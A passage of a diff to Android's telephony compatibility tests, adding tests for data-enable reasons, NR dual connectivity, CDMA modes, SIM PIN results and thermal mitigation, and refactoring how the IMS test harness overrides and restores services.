+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
+                        true));
+
+        isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_THERMAL));
+        assertTrue(isDataEnabledForReason);
+
+        isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertTrue(isDataConnectionAvailable);
+    }
+
+    @Test
+    public void testPolicyDataEnable() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
+                        false));
+
+        boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_POLICY));
+        assertFalse(isDataEnabledForReason);
+
+        boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertFalse(isDataConnectionAvailable);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
+                        true));
+
+        isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_POLICY));
+        assertTrue(isDataEnabledForReason);
+
+        isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertTrue(isDataConnectionAvailable);
+    }
+
+    @Test
+    public void testCarrierDataEnable() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
+                        false));
+
+        waitForMs(100);
+        boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_CARRIER));
+        assertFalse(isDataEnabledForReason);
+
+        boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertFalse(isDataConnectionAvailable);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
+                        true));
+
+        waitForMs(100);
+        isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_CARRIER));
+        assertTrue(isDataEnabledForReason);
+        isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertTrue(isDataConnectionAvailable);
+    }
+
+    @Test
+    public void testUserDataEnable() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
+                        false));
+
+        boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_USER));
+        assertFalse(isDataEnabledForReason);
+
+        boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertFalse(isDataConnectionAvailable);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
+                        true));
+
+        isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_USER));
+        assertTrue(isDataEnabledForReason);
+        isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertTrue(isDataConnectionAvailable);
+    }
+
+    @Test
+    public void testGetCdmaEnhancedRoamingIndicatorDisplayNumber() {
+        int index = mTelephonyManager.getCdmaEnhancedRoamingIndicatorDisplayNumber();
+        int phoneType = mTelephonyManager.getPhoneType();
+        if (phoneType == TelephonyManager.PHONE_TYPE_CDMA) {
+            assertTrue(index >= 0 && index <= 255);
+        } else {
+            assertEquals(-1, index);
+        }
+    }
+
+    private void disableNrDualConnectivity() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setNrDualConnectivityState(
+                        TelephonyManager.NR_DUAL_CONNECTIVITY_DISABLE));
+
+        boolean isNrDualConnectivityEnabled =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
+        // Only verify the result for supported devices on IRadio 1.6+
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertFalse(isNrDualConnectivityEnabled);
+        }
+    }
+
+    @Test
+    public void testNrDualConnectivityEnable() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        boolean isInitiallyEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
+        boolean isNrDualConnectivityEnabled;
+        if (isInitiallyEnabled) {
+            disableNrDualConnectivity();
+        }
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setNrDualConnectivityState(
+                        TelephonyManager.NR_DUAL_CONNECTIVITY_ENABLE));
+        isNrDualConnectivityEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
+        // Only verify the result for supported devices on IRadio 1.6+
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertTrue(isNrDualConnectivityEnabled);
+        }
+
+        if (!isInitiallyEnabled) {
+            disableNrDualConnectivity();
+        }
+    }
+
+    @Test
+    public void testCdmaRoamingMode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // Save state
+        int cdmaRoamingMode = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                TelephonyManager::getCdmaRoamingMode);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaRoamingMode(TelephonyManager.CDMA_ROAMING_MODE_HOME));
+        assertEquals(TelephonyManager.CDMA_ROAMING_MODE_HOME,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaRoamingMode));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaRoamingMode(TelephonyManager.CDMA_ROAMING_MODE_AFFILIATED));
+        assertEquals(TelephonyManager.CDMA_ROAMING_MODE_AFFILIATED,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaRoamingMode));
+
+        // Reset state
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaRoamingMode(cdmaRoamingMode));
+    }
+
+    @Test
+    public void testCdmaSubscriptionMode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // Save state
+        int cdmaSubscriptionMode = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, TelephonyManager::getCdmaSubscriptionMode);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaSubscriptionMode(TelephonyManager.CDMA_SUBSCRIPTION_NV));
+        assertEquals(TelephonyManager.CDMA_SUBSCRIPTION_NV,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaSubscriptionMode));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaSubscriptionMode(TelephonyManager.CDMA_SUBSCRIPTION_RUIM_SIM));
+        assertEquals(TelephonyManager.CDMA_SUBSCRIPTION_RUIM_SIM,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaSubscriptionMode));
+
+        // Reset state
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaRoamingMode(cdmaSubscriptionMode));
+    }
+
+    @Test
+    public void testPinResult() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        final String pin = "fake_pin";
+        final String puk = "fake_puk";
+        final String newPin = "fake_new_pin";
+
+        boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, TelephonyManager::isIccLockEnabled);
+        PinResult result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setIccLockEnabled(!isEnabled, pin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= 0);
+        assertEquals(isEnabled, ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, TelephonyManager::isIccLockEnabled));
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.changeIccLockPin(pin, newPin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= 0);
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.supplyIccLockPin(pin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= 0);
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.supplyIccLockPuk(puk, pin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= 0);
+    }
+
+    @Test
+    public void testGetCarrierBandwidth() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        CarrierBandwidth bandwidth =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        (tm) -> tm.getCarrierBandwidth());
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertTrue(bandwidth != null);
+            assertTrue(bandwidth.getPrimaryDownlinkCapacityKbps()
+                            != CarrierBandwidth.INVALID);
+            assertTrue(bandwidth.getPrimaryUplinkCapacityKbps()
+                            != CarrierBandwidth.INVALID);
+        }
+    }
+
+    @Test
+    public void testSendThermalMitigationRequest() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        long arbitraryCompletionWindowSecs = 1L;
+
+
+        // Test a proper data throttling thermal mitigation request.
+        int thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                        new ThermalMitigationRequest.Builder()
+                                .setThermalMitigationAction(ThermalMitigationRequest
+                                        .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                        .setDataThrottlingAction(DataThrottlingRequest
+                                                .DATA_THROTTLING_ACTION_THROTTLE_SECONDARY_CARRIER)
+                                        .setCompletionDurationMillis(arbitraryCompletionWindowSecs)
+                                .build())
+                        .build()));
+        // Only verify the result for supported devices on IRadio 1.6+
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertEquals(thermalMitigationResult,
+                    TelephonyManager.THERMAL_MITIGATION_RESULT_SUCCESS);
+        }
+        // Test negative completionDurationSecs is an invalid parameter.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-zero completionDurationSecs is an invalid parameter for data throttling hold.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(
+                                                    DataThrottlingRequest
+                                                            .DATA_THROTTLING_ACTION_HOLD)
+                                            .setCompletionDurationMillis(
+                                                    arbitraryCompletionWindowSecs)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test null DataThrottlingParams is an invalid parameter for data throttling request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-null DataThrottlingParams is an invalid parameter for voice only request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(
+                                            ThermalMitigationRequest
+                                                    .THERMAL_MITIGATION_ACTION_VOICE_ONLY)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(
+                                                    DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                            .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-null DataThrottlingParams is an invalid parameter for radio off request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(
+                                            ThermalMitigationRequest
+                                                    .THERMAL_MITIGATION_ACTION_RADIO_OFF)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                            .build()));
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
     /**
      * Validate Emergency Number address that only contains the dialable character.
      *
@@ -2865,6 +3467,18 @@
         return mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_GSM;
     }
 
+    /**
+     * Verify that the phone is supporting the action of setForbiddenPlmn.
+     *
+     * @return whether to proceed the test
+     */
+    private boolean test() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return false;
+        }
+        return mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_GSM;
+    }
+
     private static int makeRadioVersion(int major, int minor) {
         if (major < 0 || minor < 0) return 0;
         return major * 100 + minor;
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
index a35dfd7..302f293 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
+import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.telecom.VideoProfile;
@@ -28,6 +29,8 @@
 import android.telephony.emergency.EmergencyNumber;
 import android.telephony.ims.ImsCallProfile;
 import android.telephony.ims.ImsStreamMediaProfile;
+import android.telephony.ims.RtpHeaderExtensionType;
+import android.util.ArraySet;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
@@ -36,9 +39,14 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 
 @RunWith(AndroidJUnit4.class)
 public class ImsCallProfileTest {
+    private static final RtpHeaderExtensionType EXTENSION_TYPE_1 = new RtpHeaderExtensionType(1,
+            Uri.parse("http://developer.android.com/092020/test1"));
+    private static final RtpHeaderExtensionType EXTENSION_TYPE_2 = new RtpHeaderExtensionType(2,
+            Uri.parse("http://developer.android.com/092020/test2"));
 
     @Test
     public void testParcelUnparcel() {
@@ -338,4 +346,27 @@
                 data.getCallExtraInt(ImsCallProfile.EXTRA_CALL_NETWORK_TYPE),
                 unparceledData.getCallExtraInt(ImsCallProfile.EXTRA_CALL_NETWORK_TYPE));
     }
+
+    /**
+     * Verifies basic RTP header extension type parcelling in the {@link ImsCallProfile} class.
+     */
+    @Test
+    public void testParcelUnparcelRtpHeaderExtensionTypes() {
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(),
+                new ImsStreamMediaProfile(1, 1, 1, 1, 1));
+        Set<RtpHeaderExtensionType> accepted = new ArraySet<>();
+        accepted.add(EXTENSION_TYPE_1);
+        data.setAcceptedRtpHeaderExtensionTypes(accepted);
+        assertEquals(accepted, data.getAcceptedRtpHeaderExtensionTypes());
+
+        Parcel dataParceled = Parcel.obtain();
+        data.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        ImsCallProfile unparceledData =
+                ImsCallProfile.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals(accepted, unparceledData.getAcceptedRtpHeaderExtensionTypes());
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
index e90fa4d..6c207c4 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -56,6 +56,7 @@
     private static final String COMMAND_BASE = "cmd phone ";
     private static final String COMMAND_SET_IMS_SERVICE = "ims set-ims-service ";
     private static final String COMMAND_GET_IMS_SERVICE = "ims get-ims-service ";
+    private static final String COMMAND_CLEAR_SERVICE_OVERRIDE = "ims clear-ims-service-override";
     private static final String COMMAND_CARRIER_SERVICE_IDENTIFIER = "-c ";
     private static final String COMMAND_DEVICE_SERVICE_IDENTIFIER = "-d ";
     private static final String COMMAND_SLOT_IDENTIFIER = "-s ";
@@ -140,6 +141,7 @@
         }
 
         boolean overrideService(ImsFeatureConfiguration config) throws Exception {
+            mIsServiceOverridden = true;
             switch (mConnectionType) {
                 case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
                     return bindCarrierImsService(config, PACKAGE_NAME);
@@ -148,8 +150,7 @@
                     return bindDeviceImsService(config, EXTERNAL_PACKAGE_NAME);
                 }
                 case CONNECTION_TYPE_DEFAULT_SMS_APP: {
-                    setDefaultSmsApp(PACKAGE_NAME);
-                    break;
+                    return setDefaultSmsApp(PACKAGE_NAME);
                 }
             }
             return false;
@@ -159,6 +160,7 @@
             if (!mIsServiceOverridden) {
                 return;
             }
+            mIsServiceOverridden = false;
 
             if (mOrigRcsServicePackage == null) {
                 mOrigRcsServicePackage = "";
@@ -170,8 +172,7 @@
 
             switch (mConnectionType) {
                 case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
-                    setCarrierImsService(mOrigMmTelServicePackage, ImsFeature.FEATURE_MMTEL);
-                    setCarrierImsService(mOrigRcsServicePackage, ImsFeature.FEATURE_RCS);
+                    clearCarrierImsServiceOverride();
                     break;
                 }
                 case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
@@ -255,7 +256,8 @@
             mFeatureTypeToPackageOverrideMap.put(ImsFeature.FEATURE_RCS, packageName);
             String result = TelephonyUtils.executeShellCommand(mInstrumentation,
                     constructSetImsServiceOverrideCommand(true, packageName, new int[] {
-                            ImsFeature.FEATURE_MMTEL, ImsFeature.FEATURE_RCS}));
+                            ImsFeature.FEATURE_EMERGENCY_MMTEL, ImsFeature.FEATURE_MMTEL,
+                            ImsFeature.FEATURE_RCS}));
             if (ImsUtils.VDBG) {
                 Log.d(TAG, "setCarrierMmTelImsService result: " + result);
             }
@@ -284,7 +286,19 @@
             return "true".equals(result);
         }
 
-        private void setDefaultSmsApp(String packageName) throws Exception {
+        private boolean clearCarrierImsServiceOverride() throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructClearCarrierImsServiceOverrideCommand());
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "clearCarrierImsServiceOverride result: " + result);
+            }
+            return "true".equals(result);
+        }
+
+        private boolean setDefaultSmsApp(String packageName) throws Exception {
+            if (packageName == null) {
+                return false;
+            }
             RoleManager roleManager = mInstrumentation.getContext()
                     .getSystemService(RoleManager.class);
             Boolean result;
@@ -298,6 +312,7 @@
             if (ImsUtils.VDBG) {
                 Log.d(TAG, "setDefaultSmsApp result: " + result);
             }
+            return result;
         }
 
         private String getDefaultSmsApp() throws Exception {
@@ -378,6 +393,11 @@
                     + COMMAND_FEATURE_IDENTIFIER + featureType;
         }
 
+        private String constructClearCarrierImsServiceOverrideCommand() {
+            return COMMAND_BASE + COMMAND_CLEAR_SERVICE_OVERRIDE + COMMAND_SLOT_IDENTIFIER
+                    + mSlotId;
+        }
+
         private String getFeatureTypesString(int[] featureTypes) {
             if (featureTypes.length == 0) return "";
             StringBuilder builder = new StringBuilder();
@@ -422,24 +442,32 @@
         // No need to clear SMS App, only replace when necessary.
     }
 
-    boolean connectCarrierImsService(ImsFeatureConfiguration config) throws Exception {
+    /**
+     * Binds to the local implementation of ImsService but does not trigger ImsService bind from
+     * telephony to allow additional configuration steps.
+     * @return true if this request succeeded, false otherwise.
+     */
+    boolean connectCarrierImsServiceLocally() {
         if (!setupLocalCarrierImsService()) {
             Log.w(TAG, "connectCarrierImsService: couldn't set up service.");
             return false;
         }
         mCarrierService.resetState();
+        return true;
+    }
+
+    /**
+     * Trigger the telephony framework to bind to the local ImsService implementation.
+     * @return true if this request succeeded, false otherwise.
+     */
+    boolean triggerFrameworkConnectionToCarrierImsService(
+            ImsFeatureConfiguration config) throws Exception {
         return mCarrierServiceConnection.overrideService(config);
     }
 
-    boolean connectCarrierImsServiceNullRcsBinding(ImsFeatureConfiguration config)
-            throws Exception {
-        if (!setupLocalCarrierImsService()) {
-            Log.w(TAG, "connectCarrierImsService: couldn't set up service.");
-            return false;
-        }
-        mCarrierService.resetState();
-        mCarrierService.setNullRcsBinding();
-        return mCarrierServiceConnection.overrideService(config);
+    boolean connectCarrierImsService(ImsFeatureConfiguration config) throws Exception {
+        if (!connectCarrierImsServiceLocally()) return false;
+        return triggerFrameworkConnectionToCarrierImsService(config);
     }
 
     boolean connectDeviceImsService(ImsFeatureConfiguration config) throws Exception {
@@ -451,8 +479,12 @@
         return mDeviceServiceConnection.overrideService(config);
     }
 
-    void setDefaultSmsApp() throws Exception {
-        mDefaultSmsAppConnection.overrideService(null);
+    boolean setDefaultSmsApp() throws Exception {
+        return mDefaultSmsAppConnection.overrideService(null);
+    }
+
+    void restoreDefaultSmsApp() throws Exception {
+        mDefaultSmsAppConnection.restoreOriginalPackage();
     }
 
     void disconnectCarrierImsService() throws Exception {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 85448f8..8005d0d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -46,6 +46,7 @@
 import android.telephony.ims.ImsRcsManager;
 import android.telephony.ims.ImsReasonInfo;
 import android.telephony.ims.ProvisioningManager;
+import android.telephony.ims.RcsUceAdapter;
 import android.telephony.ims.RegistrationManager;
 import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.feature.MmTelFeature;
@@ -347,11 +348,15 @@
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
-        // Connect to the ImsService with the MMTEL feature.
-        assertTrue(sServiceConnector.connectCarrierImsServiceNullRcsBinding(
-                new ImsFeatureConfiguration.Builder()
+        // Connect to the ImsService with the RCS feature.
+        ImsFeatureConfiguration config = new ImsFeatureConfiguration.Builder()
                 .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
-                .build()));
+                .build();
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        sServiceConnector.getCarrierService().resetState();
+        sServiceConnector.getCarrierService().setNullRcsBinding();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(config));
+
         // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
         // Framework did not call it.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
@@ -1377,10 +1382,11 @@
         }
 
         // A queue to receive capability changed
-        LinkedBlockingQueue<RcsImsCapabilities> mQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
         ImsRcsManager.AvailabilityCallback callback = new ImsRcsManager.AvailabilityCallback() {
             @Override
-            public void onAvailabilityChanged(RcsImsCapabilities capabilities) {
+            public void onAvailabilityChanged(
+                    @RcsUceAdapter.RcsImsCapabilityFlag int capabilities) {
                 mQueue.offer(capabilities);
             }
         };
@@ -1394,11 +1400,12 @@
         }
 
         // We should not have any availabilities here, we notified the framework earlier.
-        RcsImsCapabilities capCb = waitForResult(mQueue);
+        //RcsImsCapabilities capCb = waitForResult(mQueue);
+        int capCb = waitForResult(mQueue);
 
         // The SIP OPTIONS capability from onAvailabilityChanged should be disabled.
         // Moreover, ImsRcsManager#isAvailable also return FALSE with SIP OPTIONS
-        assertTrue(capCb.isCapable(RCS_CAP_NONE));
+        assertEquals(capCb, RCS_CAP_NONE);
         try {
             automan.adoptShellPermissionIdentity();
             assertFalse(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
@@ -1414,7 +1421,7 @@
 
         // The SIP OPTIONS capability from onAvailabilityChanged should be enabled.
         // Verify ImsRcsManager#isAvailable also return true with SIP OPTIONS
-        assertTrue(capCb.isCapable(RCS_CAP_OPTIONS));
+        assertEquals(capCb, RCS_CAP_OPTIONS);
         try {
             automan.adoptShellPermissionIdentity();
             assertTrue(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java
index 2fe2307..994db22 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java
@@ -18,10 +18,13 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
+import android.telephony.ims.AudioCodecAttributes;
 import android.telephony.ims.ImsStreamMediaProfile;
+import android.util.Range;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
@@ -50,6 +53,45 @@
         assertEquals(data.getRttMode(), unparceledData.getRttMode());
